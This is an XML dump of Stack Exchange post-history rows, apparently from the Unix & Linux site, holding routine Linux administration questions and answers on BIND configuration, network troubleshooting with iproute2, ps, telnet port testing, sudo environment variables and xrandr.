  <row Id="13856" PostHistoryTypeId="5" PostId="6108" RevisionGUID="3c5b3df9-171a-47d7-b8b7-ce87cf5232a7" CreationDate="2011-01-19T11:00:33.587" UserId="3948" Comment="clarify" Text="I'm trying to use the debian unstable/sid branch of the google repositories (deb http://dl.google.com/linux/deb/ unstable non-free main), but I get errors:&#xD;&#xA;&#xD;&#xA;&gt;Err &quot;http://dl.google.com&quot; unstable/non-free i386 Packages  &#xD;&#xA;  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;Err &quot;http://dl.google.com&quot; unstable/main i386 Packages  &#xD;&#xA;  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;W: Failed to fetch &quot;http://dl.google.com/linux/deb/dists/unstable/non-free binary-i386/Packages.gz  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;W: Failed to fetch &quot;http://dl.google.com/linux/deb/dists/unstable/main/binary-i386/Packages.gz  404  Not Found [IP: 209.85.146.93 80]  &#xD;&#xA;&#xD;&#xA;I get the same errors for deb &quot;http://dl.google.com/linux/deb/ sid non-free main&quot;.&#xD;&#xA;&#xD;&#xA;I can't browse the repository at &quot;http://dl.google.com&quot;, I just get a 404.  &#xD;&#xA;&#xD;&#xA;Is it ok to use the stable repository instead even though I'm using debian unstable?" />
  <row Id="13857" PostHistoryTypeId="2" PostId="6110" RevisionGUID="b0de4bba-e83c-420e-8ede-7e5518d448a9" CreationDate="2011-01-19T11:52:22.730" UserId="3956" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am looking for some reading material on starting my own BIND/DHCP server. I mainly want the bind server to just be a caching server and for my home computers but it may also need to be authoritative for a domain that I may buy later. Also some material on starting a DHCP server would be great. Also I want to run this on either freebsd or openbsd.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="13858" PostHistoryTypeId="1" PostId="6110" RevisionGUID="b0de4bba-e83c-420e-8ede-7e5518d448a9" CreationDate="2011-01-19T11:52:22.730" UserId="3956" Text="Starting A Bind/DHCP server" />
  <row Id="13859" PostHistoryTypeId="3" PostId="6110" RevisionGUID="b0de4bba-e83c-420e-8ede-7e5518d448a9" CreationDate="2011-01-19T11:52:22.730" UserId="3956" Text="éfreebsdàédhcpàéopenbsdà" />
  <row Id="13860" PostHistoryTypeId="5" PostId="5231" RevisionGUID="479e26fd-7100-431d-932e-fc0b8be0716e" CreationDate="2011-01-19T12:08:43.573" UserId="688" Comment="added 46 characters in body" Text="When I surf the web, I find that I have to pause my BitTorrent client, to help improve the painfully slow speed (I'm sadly on a 384kbps line). It's not too nice to have to do this manually *every* time.&#xD;&#xA;&#xD;&#xA;Please show me the magic button, the one which I only need to press once in order to be blessed with speedier, higher-priority surfing, where the torrents speed take a backseat, only to resume to full speed once my web-surfing is over.&#xD;&#xA;&#xD;&#xA;[__FYI__] NetworkManager manages my network, and Transmission is my BitTorrent client.&#xD;&#xA;" />
  <row Id="13861" PostHistoryTypeId="2" PostId="6111" RevisionGUID="f14226cd-9f25-4bf1-b14a-3fdc021ef651" CreationDate="2011-01-19T13:05:47.627" UserId="1132" Text="as I have little knowledge on `freebsd`, you can refer to below pages for info&#xD;&#xA;&#xD;&#xA;http://www.freebsd.org/doc/handbook/network-dns.html&#xD;&#xA;http://www.freebsd.org/doc/handbook/network-dhcp.html &#xD;&#xA;&#xD;&#xA;personally, I prefer to run `DHCP` on a network device such as DSL Router or Wi-Fi Router." />
  <row Id="13862" PostHistoryTypeId="2" PostId="6112" RevisionGUID="7d2dcb78-5e58-4c7f-8976-5120fbf4ddc7" CreationDate="2011-01-19T13:15:11.310" UserId="29" Text="Here's a named.conf that will just work for caching, it's basically the default, but queries the [OpenDNS](http://www.opendns.com/) servers for DNS ins the `fordwarders` section.&#xD;&#xA;&#xD;&#xA;    // &#xD;&#xA;    // /etc/named.conf&#xD;&#xA;    //&#xD;&#xA;    &#xD;&#xA;    options {&#xD;&#xA;        directory &quot;/var/named&quot;;&#xD;&#xA;        pid-file &quot;/var/run/named/named.pid&quot;;&#xD;&#xA;        auth-nxdomain yes;&#xD;&#xA;        datasize default;&#xD;&#xA;    // Uncomment these to enable IPv6 connections support&#xD;&#xA;    // IPv4 will still work:&#xD;&#xA;    //  listen-on-v6 { any; };&#xD;&#xA;    // Add this for no IPv4:&#xD;&#xA;    //  listen-on { none; };&#xD;&#xA;    &#xD;&#xA;        // Default security settings.&#xD;&#xA;        allow-recursion { 127.0.0.1; };&#xD;&#xA;        allow-transfer { none; };&#xD;&#xA;        allow-update { none; };&#xD;&#xA;        allow-query  { 127.0.0.1; };&#xD;&#xA;    &#xD;&#xA;        forwarders {&#xD;&#xA;            208.67.222.222;&#xD;&#xA;            208.67.220.220;&#xD;&#xA;        };&#xD;&#xA;        version none;&#xD;&#xA;        hostname none;&#xD;&#xA;        server-id none;&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    zone &quot;localhost&quot; IN {&#xD;&#xA;        type master;&#xD;&#xA;        file &quot;localhost.zone&quot;;&#xD;&#xA;        allow-transfer { any; };&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    zone &quot;0.0.127.in-addr.arpa&quot; IN {&#xD;&#xA;        type master;&#xD;&#xA;        file &quot;127.0.0.zone&quot;;&#xD;&#xA;        allow-transfer { any; };&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    zone &quot;.&quot; IN {&#xD;&#xA;        type hint;&#xD;&#xA;        file &quot;root.hint&quot;;&#xD;&#xA;    };&#xD;&#xA;    &#xD;&#xA;    //zone &quot;example.org&quot; IN {&#xD;&#xA;    //  type slave;&#xD;&#xA;    //  file &quot;example.zone&quot;;&#xD;&#xA;    //  masters {&#xD;&#xA;    //      192.168.1.100; &#xD;&#xA;    //  };&#xD;&#xA;    //  allow-query { any; };&#xD;&#xA;    //  allow-transfer { any; };&#xD;&#xA;    //};&#xD;&#xA;    &#xD;&#xA;    logging {&#xD;&#xA;            channel xfer-log {&#xD;&#xA;                    file &quot;/var/log/named.log&quot;;&#xD;&#xA;                    print-category yes;&#xD;&#xA;                    print-severity yes;&#xD;&#xA;                    print-time yes;&#xD;&#xA;                    severity info;&#xD;&#xA;            };&#xD;&#xA;            category xfer-in { xfer-log; };&#xD;&#xA;            category xfer-out { xfer-log; };&#xD;&#xA;            category notify { xfer-log; };&#xD;&#xA;    };&#xD;&#xA;&#xD;&#xA;I'm pretty sure none of the `zone`'s are required but I leave them there anyways. It should work wherever bind does. You may want to allow, recursion and query on more than just `127.0.0.1` though." />
  <row Id="13863" PostHistoryTypeId="2" PostId="6113" RevisionGUID="cc66b0e0-7674-4430-955e-3db79fbf1e56" CreationDate="2011-01-19T13:31:02.113" UserId="3960" Text="Brace expansion is a *bashism*. As such it should not be used because it breaks the compatibility model." />
  <row Id="13864" PostHistoryTypeId="5" PostId="5962" RevisionGUID="64de04a0-11a2-4005-87d0-9d277a8cdfe5" CreationDate="2011-01-19T13:40:05.237" UserId="2180" Comment="grammar changes" Text="#IP Network Troubleshooting&#xD;&#xA;&#xD;&#xA;There are a few standard things you can look for when you are experiencing network connectivity issues. These are listed here from a top-down, or least fundamental to most fundamental issues.&#xD;&#xA;&#xD;&#xA;All the example `ip` commands shown here use a Linux-specific tool called iproute2. Many of the tasks can likely be done with `ifconfig` and `route`, but the syntax depends on the system. You can start looking for the correct command for your system on the [Rosetta Stone for Unix][1] (thanks @Gilles). &#xD;&#xA;&#xD;&#xA;##Is access down to one site and not others?&#xD;&#xA;&#xD;&#xA;If you've just noticed a website or service is down, try others before concluding that you are the one experiencing problems, and not the website you are trying to visit.&#xD;&#xA;&#xD;&#xA;##Is DNS not working?&#xD;&#xA;&#xD;&#xA;DNS resolves domain names to ip addresses. If it isn't working, you may be able to access services by ip address but not domain names. To test for this, use&#xD;&#xA;&#xD;&#xA;    ping -c 2 8.8.8.8&#xD;&#xA;&#xD;&#xA;8.8.8.8 is the IP address of a Google server on the internet that should always be up; it can be replaced by any IP address known to be on the target network. This command sends two ICMP echo packet to a specific IP address; it doesn't rely on DNS to work. If the command works, replace the IP address with a domain name known to be working on the target network, like `ping -c 2 yahoo.com`; if this doesn't work, the problem is likely to be DNS. As a quick fix, you can try opening `/etc/resolv.conf` and adding `nameserver 8.8.8.8` after the last line (note, you may need root privileges to edit the file). That address happens to be a DNS server, and adding it to resolv.conf will tell your system to use it. If that doesn't work, you should submit another question with more details.&#xD;&#xA;&#xD;&#xA;##Is there a route to the network?&#xD;&#xA;&#xD;&#xA;To reach a network, your system has to know how to route to it. To see the routes your system knows about, we need a couple of commands.&#xD;&#xA;&#xD;&#xA;   ip rule show&#xD;&#xA;&#xD;&#xA;This command lists any routing rules that are setup on your system. If you see only three entries (lines) and they end in 'local', 'main', and 'default', then you have only the standard rules setup. If there are any other entries, note them; in particular, the last word of the line - they are names of routing tables.&#xD;&#xA;&#xD;&#xA;   ip route show&#xD;&#xA;&#xD;&#xA;This command shows routes setup on the main table. There should usually be an entry that directs traffic to the target network. For internet connections, it is a route that looks like `default [via address] dev [dev]...` where you may or may not have the 'via' part, and '[dev]' may be something like 'eth0' or 'wlan0' that represents which network interface the network is on.&#xD;&#xA;&#xD;&#xA;Previously I said that there should *usually* be an entry there. If you had other tables setup and a rule pointing to them to look at the entries in other tables by using the following, replacing '[table name]' with one of the names you noted in the previous (ip rule) step.&#xD;&#xA;&#xD;&#xA;    ip route show table [table name]&#xD;&#xA;&#xD;&#xA;If you do not have a route to the target network, you need to add one (or modify your network setup so it automatically adds the correct one for you). If you don't know how, ask a more specific question here, armed with this knowledge.&#xD;&#xA;&#xD;&#xA;##Is the network interface up?&#xD;&#xA;&#xD;&#xA;To be able to use a network interface it has to be up and it should have an address. You can find if it is up by using:&#xD;&#xA;&#xD;&#xA;    ip link show&#xD;&#xA;&#xD;&#xA;This lists the network interfaces on your system. You should see at least two, one called &quot;lo&quot; and another entry for each network interface on your system. If you have a wired and a wireless interface, you might see 'lo', 'eth0', and 'wlan0' or 'lo', 'eth0', and 'eth1' whatever they are - that first bit after the entry index is the name of the network interface. For each of the interface entries, you should also see either 'state UP', 'state DOWN', or 'state UNKNOWN'. If the network interface that is connected to the target network is not present, it can be that the hardware driver isn't loaded or working (for actual network cards) or for PPP connections, that there is no connection established. If it says the link is down or unknown, the interface needs to be brought up. This is usually done by your system's networking setup - if it's not up, you can ask a more specific question here with this in mind. It can be done manually by the following command, replacing '[dev]' with the interface name (you may need root privileges).&#xD;&#xA;&#xD;&#xA;    ip link set dev [dev] up&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;##Does the network interface have an address?&#xD;&#xA;&#xD;&#xA;In addition to having the interface up, it needs to have an IP address. You can find the addresses of your interfaces by running the following command.&#xD;&#xA;&#xD;&#xA;    ip address show&#xD;&#xA;&#xD;&#xA;You'll see an entry for each of your interfaces with all the addresses it has. Most entries will have a link address, the important part is the IP address. There should be a line labeled 'inet' with an address for the network interface connected to the target network. It should be added automatically by your networking setup; if it wasn't, a dhcp client may not be running, or the ppp daemon may not have added it - you should ask a more specific question here with this in mind. One can be added manually (but depending on the network may not work) by the following command, replacing '[ip address]' with an ip address appropriate for the network (which may be unknown if the network supplies IP addresses via DHCP or PPP) and replacing '[dev]' with the interface name.&#xD;&#xA;&#xD;&#xA;    ip address add [ip address] dev [dev]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bhami.com/rosetta.html" />
  <row Id="13865" PostHistoryTypeId="25" PostId="6110" RevisionGUID="261a47d2-fdcd-4950-8be6-62fb462b0ffc" CreationDate="2011-01-19T13:55:43.107" Comment="http://twitter.com/#!/StackUnix/status/27725894130864128" />
  <row Id="13866" PostHistoryTypeId="2" PostId="6114" RevisionGUID="d4e0402c-0d79-4d92-be18-8a231c09ad65" CreationDate="2011-01-19T14:15:28.063" UserId="3447" Text="Tools used to compile the program such as GNU Autotools can take the value of the `--prefix` option given and put it into a header file as a define.&#xD;&#xA;&#xD;&#xA;    #define PREFIX &quot;/usr/local/&quot;&#xD;&#xA;&#xD;&#xA;And in your code you'd just use `PREFIX` as part of your path names." />
  <row Id="13867" PostHistoryTypeId="17" PostId="6116" RevisionGUID="77ef7466-baa5-4ede-a594-51874bd08e05" CreationDate="2011-01-19T14:52:53.520" UserId="-1" Comment="from http://stackoverflow.com/questions/3070234/viewing-foreground-process-using-ps/3070327#3070327" Text="" />
  <row Id="13868" PostHistoryTypeId="17" PostId="6117" RevisionGUID="fe8ff3a8-6386-4814-bfac-311d60aab5b1" CreationDate="2011-01-19T14:52:53.520" UserId="-1" Comment="from http://stackoverflow.com/questions/3070234/viewing-foreground-process-using-ps/3077861#3077861" Text="" />
  <row Id="13869" PostHistoryTypeId="2" PostId="6116" RevisionGUID="910e3c32-91a0-4756-8a9e-39d59198d81a" CreationDate="2010-06-18T14:13:02.843" UserDisplayName="Pascal Thivent" Text="Weird, the ps command allows you to monitor the status of all active processes, both foreground and background.&#xD;&#xA;&#xD;&#xA;For example, I start the following process in a first shell:&#xD;&#xA;&#xD;&#xA;    $ startNetworkServer &#xD;&#xA;    Security manager installed using the Basic server security policy.&#xD;&#xA;    Apache Derby Network Server - 10.3.2.1 - (599110) started and ready to accept connections on port 1527 at 2010-06-18 14:14:33.277 GMT &#xD;&#xA;&#xD;&#xA;And in another shell:&#xD;&#xA;&#xD;&#xA;    $ ps aux  | grep NetworkServer | grep -v grep&#xD;&#xA;    pascal    5928  0.3  1.4 661492 29216 pts/0    Sl+  16:14   0:03 /usr/lib/jvm/java-6-sun/bin/java -classpath /usr/share/javadb/lib/derby.jar:/usr/share/javadb/lib/derbynet.jar:/usr/share/javadb/lib/derbytools.jar:/usr/share/javadb/lib/derbyclient.jar org.apache.derby.drda.NetworkServerControl start&#xD;&#xA;&#xD;&#xA;The process is listed as expected (and the `+` shows that it is in the foreground process group)." />
  <row Id="13870" PostHistoryTypeId="2" PostId="6117" RevisionGUID="6f0bd3d7-0911-475d-b657-3fb06cb37fdf" CreationDate="2010-06-20T01:20:15.250" UserDisplayName="Dummy00001" Text="You might be confused because `ps` by default shows you the processes which are on the same terminal where `ps` is invoked, e.g. processes started from the same terminal window.&#xD;&#xA;&#xD;&#xA;Try `ps -u $LOGNAME` or if you know the terminal names `ps -t $THETTYNAME1,$THETTYNAME2`. (The terminal names normally look like &quot;ttyN&quot; or &quot;pts/N&quot;)." />
  <row Id="13871" PostHistoryTypeId="2" PostId="6115" RevisionGUID="db8dc6cc-e902-47cc-8539-7545642f608e" CreationDate="2010-06-18T14:02:12.953" UserDisplayName="wowrt" Text="Hi,&#xD;&#xA;       I can see the background process using ps. But Is there a way to view the foreground process?. For example,&#xD;&#xA;&#xD;&#xA;&gt; $nohup process1 &amp;&#xD;&#xA;&#xD;&#xA;then&#xD;&#xA;&#xD;&#xA;&gt; ps -ef | grep &quot;process1&quot;&#xD;&#xA;&#xD;&#xA;would display the process &quot;process1&quot; in execution.&#xD;&#xA;But the above command wouldn't show a foreground process executed like,&#xD;&#xA;&#xD;&#xA;&gt; $process2&#xD;&#xA;&#xD;&#xA;Thanks in Advance." />
  <row Id="13872" PostHistoryTypeId="1" PostId="6115" RevisionGUID="db8dc6cc-e902-47cc-8539-7545642f608e" CreationDate="2010-06-18T14:02:12.953" UserDisplayName="wowrt" Text="viewing foreground process using ps" />
  <row Id="13873" PostHistoryTypeId="3" PostId="6115" RevisionGUID="db8dc6cc-e902-47cc-8539-7545642f608e" CreationDate="2010-06-18T14:02:12.953" UserDisplayName="wowrt" Text="élinuxàéunixàéprocessàécommandà" />
  <row Id="13874" PostHistoryTypeId="17" PostId="6115" RevisionGUID="c6006c5d-adb6-414d-a281-d3662c30f477" CreationDate="2011-01-19T14:52:53.520" UserId="-1" Comment="from http://stackoverflow.com/questions/3070234/viewing-foreground-process-using-ps" Text="" />
  <row Id="13875" PostHistoryTypeId="2" PostId="6118" RevisionGUID="8a894be5-7942-4339-904e-fdcb6c3ef3b9" CreationDate="2011-01-19T14:54:42.427" UserId="3967" Text="Hello, I am making a script that needs to access the computer's monitor(s) configuration. How can I do that? Is there a command or a file I could read where I can access this information?&#xD;&#xA;&#xD;&#xA;At the moment, I do&#xD;&#xA;&#xD;&#xA;    xwininfo -root&#xD;&#xA;&#xD;&#xA;But I only have the total resolution and not the details (What I need is the resolution of each screen individually).&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="13876" PostHistoryTypeId="1" PostId="6118" RevisionGUID="8a894be5-7942-4339-904e-fdcb6c3ef3b9" CreationDate="2011-01-19T14:54:42.427" UserId="3967" Text="How to retrieve monitors configuration from the command line?" />
  <row Id="13877" PostHistoryTypeId="3" PostId="6118" RevisionGUID="8a894be5-7942-4339-904e-fdcb6c3ef3b9" CreationDate="2011-01-19T14:54:42.427" UserId="3967" Text="éhardwareàéconfigurationàédualömonitorà" />
  <row Id="13878" PostHistoryTypeId="2" PostId="6119" RevisionGUID="9a3bf678-71c0-4332-9ef1-e32e83196924" CreationDate="2011-01-19T14:55:35.927" UserId="3968" Text="Hi,&#xD;&#xA;&#xD;&#xA;i need to call a specific command in an interval of about 5 sec. How would I setup a daemon/process running in the background or something similiar to do that? I looked at cronjobs, but the minimum intervall seems to be 1 minute. Any advice is apperciated ;)&#xD;&#xA;&#xD;&#xA;Fedora is the system.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;the command would be a bashscript, so &quot;watch&quot; wouldn´t do it I think." />
  <row Id="13879" PostHistoryTypeId="1" PostId="6119" RevisionGUID="9a3bf678-71c0-4332-9ef1-e32e83196924" CreationDate="2011-01-19T14:55:35.927" UserId="3968" Text="How do I periodically run a command with very short intervall and get the return?" />
  <row Id="13880" PostHistoryTypeId="3" PostId="6119" RevisionGUID="9a3bf678-71c0-4332-9ef1-e32e83196924" CreationDate="2011-01-19T14:55:35.927" UserId="3968" Text="écommandölineà" />
  <row Id="13881" PostHistoryTypeId="2" PostId="6120" RevisionGUID="92db4d77-fedb-45f3-b87e-5092e17f703b" CreationDate="2011-01-19T15:06:18.853" UserId="1627" Text="    (&#xD;&#xA;      while true&#xD;&#xA;      do&#xD;&#xA;        your-command-here&#xD;&#xA;        sleep 5&#xD;&#xA;      done&#xD;&#xA;    ) &amp;&#xD;&#xA;    disown&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13882" PostHistoryTypeId="2" PostId="6121" RevisionGUID="6964f3f2-094c-44ec-90c6-ccecfd39a2d5" CreationDate="2011-01-19T15:09:37.897" UserId="3969" Text="Why do you think 'watch' will not work?&#xD;&#xA;&#xD;&#xA;$ cat periodic.sh&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo $(date)&#xD;&#xA;&#xD;&#xA;$ chmod +x periodic.sh&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;$ watch -n 5 ./periodic.sh" />
  <row Id="13883" PostHistoryTypeId="2" PostId="6122" RevisionGUID="7be89697-271d-4693-b096-d071b72c3f21" CreationDate="2011-01-19T15:16:39.997" UserId="2657" Text="I often see that folks test ports this way:&#xD;&#xA;&#xD;&#xA;    //shell&#xD;&#xA;    telnet ip-address 80&#xD;&#xA;    telnet ip-address 25&#xD;&#xA;&#xD;&#xA;AFAIK telnet was the old way of getting onto some remote box - right? or so I thought...&#xD;&#xA;&#xD;&#xA;Why exactly can you connect via telnet to smtp port for example?" />
  <row Id="13884" PostHistoryTypeId="1" PostId="6122" RevisionGUID="7be89697-271d-4693-b096-d071b72c3f21" CreationDate="2011-01-19T15:16:39.997" UserId="2657" Text="testing services/open ports with telnet?" />
  <row Id="13885" PostHistoryTypeId="3" PostId="6122" RevisionGUID="7be89697-271d-4693-b096-d071b72c3f21" CreationDate="2011-01-19T15:16:39.997" UserId="2657" Text="élinuxàésshàéportsà" />
  <row Id="13886" PostHistoryTypeId="2" PostId="6123" RevisionGUID="1985551a-b4b3-4941-8e4a-2b1b555cee71" CreationDate="2011-01-19T15:20:34.633" UserId="1627" Text="Telnet is a very simple protocol, where everything that you type in your client (with few exceptions) go to the wire, and everything that comes from the wire is shown in your terminal. The exception is the 0xFF byte, that setups some special communication states. As long as your communication doesn't contain this byte, you can use telnet as sort of a raw communication client over any TCP port.&#xD;&#xA;&#xD;&#xA;IOW: It is purely for convenience." />
  <row Id="13887" PostHistoryTypeId="2" PostId="6124" RevisionGUID="cdb17574-82d1-4d2d-a231-a556f69accee" CreationDate="2011-01-19T15:41:09.850" UserId="3638" Text="It's for convenience, but it's also a lower-than-user-level diagnostic.  You can isolate the problem you're having with a service that way, for example:  Joe has a database server and client.  They are not communicating.  Is the problem on the network?  The server?  The client?  &#xD;&#xA;&#xD;&#xA;Joe goes to the client machine and opens a shell.  He uses telnet, just as you described:  &#xD;&#xA;&#xD;&#xA;    telnet server.ip.com 3333&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;and types a command as if he were the client program &#xD;&#xA;&#xD;&#xA;`WHO;`&#xD;&#xA;&#xD;&#xA;The server replies with &#xD;&#xA;&#xD;&#xA;    '11','JOE.CORP.COM'&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;(It's a very dumb server)&#xD;&#xA;&#xD;&#xA;So then Joe knows that the network link to the server works, and that his client is likely not configured correctly. " />
  <row Id="13888" PostHistoryTypeId="2" PostId="6125" RevisionGUID="c2c06293-81ea-452d-8d64-c4ffb2573682" CreationDate="2011-01-19T15:48:26.130" UserId="3972" Text="&gt; Why exactly can you connect via telnet to smtp port for example?&#xD;&#xA;&#xD;&#xA;because both smtp and telnet protocols are implemented as plain-text. So with a telnet client, you can basicly go connect any port with a specific protocol that implements plain-text &amp; you know how to communicate using the protocol." />
  <row Id="13889" PostHistoryTypeId="2" PostId="6126" RevisionGUID="14635989-5b6d-4a7f-9b61-244f27663a54" CreationDate="2011-01-19T15:52:53.117" UserId="1390" Text="I connected to my server:&#xD;&#xA;&#xD;&#xA;    $ ssh me@example.com&#xD;&#xA;&#xD;&#xA;While in the server, I open a `dtach` session with `vim`:&#xD;&#xA;&#xD;&#xA;    $ dtach -c \tmp\my-dtach-session-pipe vim&#xD;&#xA;&#xD;&#xA;Then my ssh session dies. I attempt to go back to my session:&#xD;&#xA;&#xD;&#xA;    $ ssh me@example.com&#xD;&#xA;    $ dtach -a \tmp\my-dtach-session-pipe&#xD;&#xA;&#xD;&#xA;I do not get vim, but instead just a blinking cursor. I cannot do anything from there, not even &lt;kbd&gt;ctrl+c&lt;/kbd&gt;, I can only detach the `dtach` with &lt;kbd&gt;ctrl+\&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;How can I get my dtach session back properly? Or am I missing the idea of how dtach is supposed to behave?" />
  <row Id="13890" PostHistoryTypeId="1" PostId="6126" RevisionGUID="14635989-5b6d-4a7f-9b61-244f27663a54" CreationDate="2011-01-19T15:52:53.117" UserId="1390" Text="Dtach and Vim over Ssh: Reattach" />
  <row Id="13891" PostHistoryTypeId="3" PostId="6126" RevisionGUID="14635989-5b6d-4a7f-9b61-244f27663a54" CreationDate="2011-01-19T15:52:53.117" UserId="1390" Text="ésshàénohupà" />
  <row Id="13892" PostHistoryTypeId="2" PostId="6127" RevisionGUID="d432aac2-ca65-42e6-8a24-f17dde9809e2" CreationDate="2011-01-19T15:58:45.953" UserId="3974" Text="I'm trying to run an install script that requires java to be installed and the JAVA_HOME environment variable to be set.&#xD;&#xA;&#xD;&#xA;I've set JAVA_HOME in `/etc/profile` and also in a file I've called java.sh in `/etc/profile.d`.  I can `echo $JAVA_HOME` and get the correct response and I can even `sudo echo $JAVA_HOME` and get the correct response.&#xD;&#xA;&#xD;&#xA;In the install.sh I'm trying to run I inserted an `echo $JAVA_HOME`.  When I run this script as myself I see the java directory, but when I run the script with sudo it is blank.&#xD;&#xA;&#xD;&#xA;Any ideas why this is happening?&#xD;&#xA;&#xD;&#xA;I'm running CentOS" />
  <row Id="13893" PostHistoryTypeId="1" PostId="6127" RevisionGUID="d432aac2-ca65-42e6-8a24-f17dde9809e2" CreationDate="2011-01-19T15:58:45.953" UserId="3974" Text="JAVA_HOME not set in script when run using sudo" />
  <row Id="13894" PostHistoryTypeId="3" PostId="6127" RevisionGUID="d432aac2-ca65-42e6-8a24-f17dde9809e2" CreationDate="2011-01-19T15:58:45.953" UserId="3974" Text="élinuxàéshellà" />
  <row Id="13895" PostHistoryTypeId="2" PostId="6128" RevisionGUID="7858c78d-a3c7-4407-a7b4-1a7718d36db2" CreationDate="2011-01-19T16:09:03.867" UserId="1207" Text="This is heavily dependent on the set up of the system.  One way to get the information would be if `xrandr` is being used:&#xD;&#xA;&#xD;&#xA;    xrandr --query&#xD;&#xA;&#xD;&#xA;This will display something like:&#xD;&#xA;&#xD;&#xA;    Screen 0: minimum 320 x 200, current 3046 x 1050, maximum 8192 x 8192&#xD;&#xA;    VGA1 connected 1680x1050+1366+0 (normal left inverted right x axis y axis) 473mm x 296mm&#xD;&#xA;       1680x1050      60.0*+&#xD;&#xA;       1280x1024      75.0     60.0  &#xD;&#xA;       1152x864       75.0  &#xD;&#xA;       1024x768       75.1     60.0  &#xD;&#xA;       800x600        75.0     60.3  &#xD;&#xA;       640x480        75.0     60.0  &#xD;&#xA;       720x400        70.1  &#xD;&#xA;    LVDS1 connected 1366x768+0+0 (normal left inverted right x axis y axis) 353mm x 198mm&#xD;&#xA;       1366x768       60.0*+&#xD;&#xA;       1360x768       59.8     60.0  &#xD;&#xA;       1024x768       60.0  &#xD;&#xA;       800x600        60.3     56.2  &#xD;&#xA;       640x480        59.9  &#xD;&#xA;    DP1 disconnected (normal left inverted right x axis y axis)&#xD;&#xA;&#xD;&#xA;You could then use some text processing tool to pull out the resolution for each display.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13896" PostHistoryTypeId="6" PostId="6127" RevisionGUID="86f3c23b-9cda-4473-897a-5b26be6951d2" CreationDate="2011-01-19T16:09:12.570" UserId="3974" Comment="Added tag" Text="élinuxàéshellàéscriptà" />
  <row Id="13897" PostHistoryTypeId="2" PostId="6129" RevisionGUID="5bdeea8d-3408-4aa6-8b6f-9766aef13e0e" CreationDate="2011-01-19T16:14:36.930" UserId="872" Text="For security reasons, `sudo` may clear environment variables which is why it is probably not picking up $JAVA_HOME. Look in your `/etc/sudoers` file for `env_reset`.&#xD;&#xA;&#xD;&#xA;From `man sudoers`:&#xD;&#xA;&#xD;&#xA;&gt;     env_reset   If set, sudo will reset the environment to only contain the following variables: HOME, LOGNAME, PATH, SHELL, TERM, and USER (in addi-&#xD;&#xA;&gt;                tion to the SUDO_* variables).  Of these, only TERM is copied unaltered from the old environment.  The other variables are set to&#xD;&#xA;&gt;                default values (possibly modified by the value of the set_logname option).  If sudo was compiled with the SECURE_PATH option, its value&#xD;&#xA;&gt;                will be used for the PATH environment variable.  Other variables may be preserved with the env_keep option.&#xD;&#xA;&#xD;&#xA;&gt;     env_keep    Environment variables to be preserved in the user's environment when the env_reset option is in effect.  This allows fine-grained con-&#xD;&#xA;&gt;                trol over the environment sudo-spawned processes will receive.  The argument may be a double-quoted, space-separated list or a single&#xD;&#xA;&gt;                value without double-quotes.  The list can be replaced, added to, deleted from, or disabled by using the =, +=, -=, and ! operators&#xD;&#xA;&gt;                respectively.  This list has no default members.&#xD;&#xA;&#xD;&#xA;            &#xD;&#xA;&#xD;&#xA;So, if you want it to keep JAVA_HOME, add it to env_keep:&#xD;&#xA;&#xD;&#xA;    Defaults   env_keep += &quot;JAVA_HOME&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Alternatively**, set `JAVA_HOME` in root's `~/.bash_profile`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13898" PostHistoryTypeId="2" PostId="6130" RevisionGUID="cb066465-3488-48bb-8729-e366e83e6a00" CreationDate="2011-01-19T16:25:03.343" UserId="2210" Text="Run sudo with the -E (preserve environment) option (see the man file), or put JAVA_HOME in the install.sh script." />
  <row Id="13899" PostHistoryTypeId="2" PostId="6131" RevisionGUID="a2327eed-3816-4306-bf31-be3ca3a16be6" CreationDate="2011-01-19T16:32:48.650" UserId="1267" Text="&#xD;&#xA;Hi,&#xD;&#xA;&#xD;&#xA;Can anyone explain **BRIEFLY** as to how to install OpenSUSE through an USB?. I searched in lot of forums, but i couldn't find anything helpful. Moreover, there was something written about installing it with the dd_rescue command, but that doesn't seem to work. So please give me a brief idea for installing OpenSUSE, through an USB." />
  <row Id="13900" PostHistoryTypeId="1" PostId="6131" RevisionGUID="a2327eed-3816-4306-bf31-be3ca3a16be6" CreationDate="2011-01-19T16:32:48.650" UserId="1267" Text="Installing opensuse through an USB" />
  <row Id="13901" PostHistoryTypeId="3" PostId="6131" RevisionGUID="a2327eed-3816-4306-bf31-be3ca3a16be6" CreationDate="2011-01-19T16:32:48.650" UserId="1267" Text="ésoftwareöinstallationà" />
  <row Id="13902" PostHistoryTypeId="5" PostId="6054" RevisionGUID="81c6007f-a1c7-486f-b625-eacbe5a102db" CreationDate="2011-01-19T16:36:11.097" UserId="3923" Comment="English waz broken" Text="No, you can't do that using the rsync protocol, which relies on modules to define access rights. You could do it through SSH though :&#xD;&#xA;&#xD;&#xA;    rsync -av user@10.171.73.23:/home/user/work/tests .&#xD;&#xA;&#xD;&#xA;" />
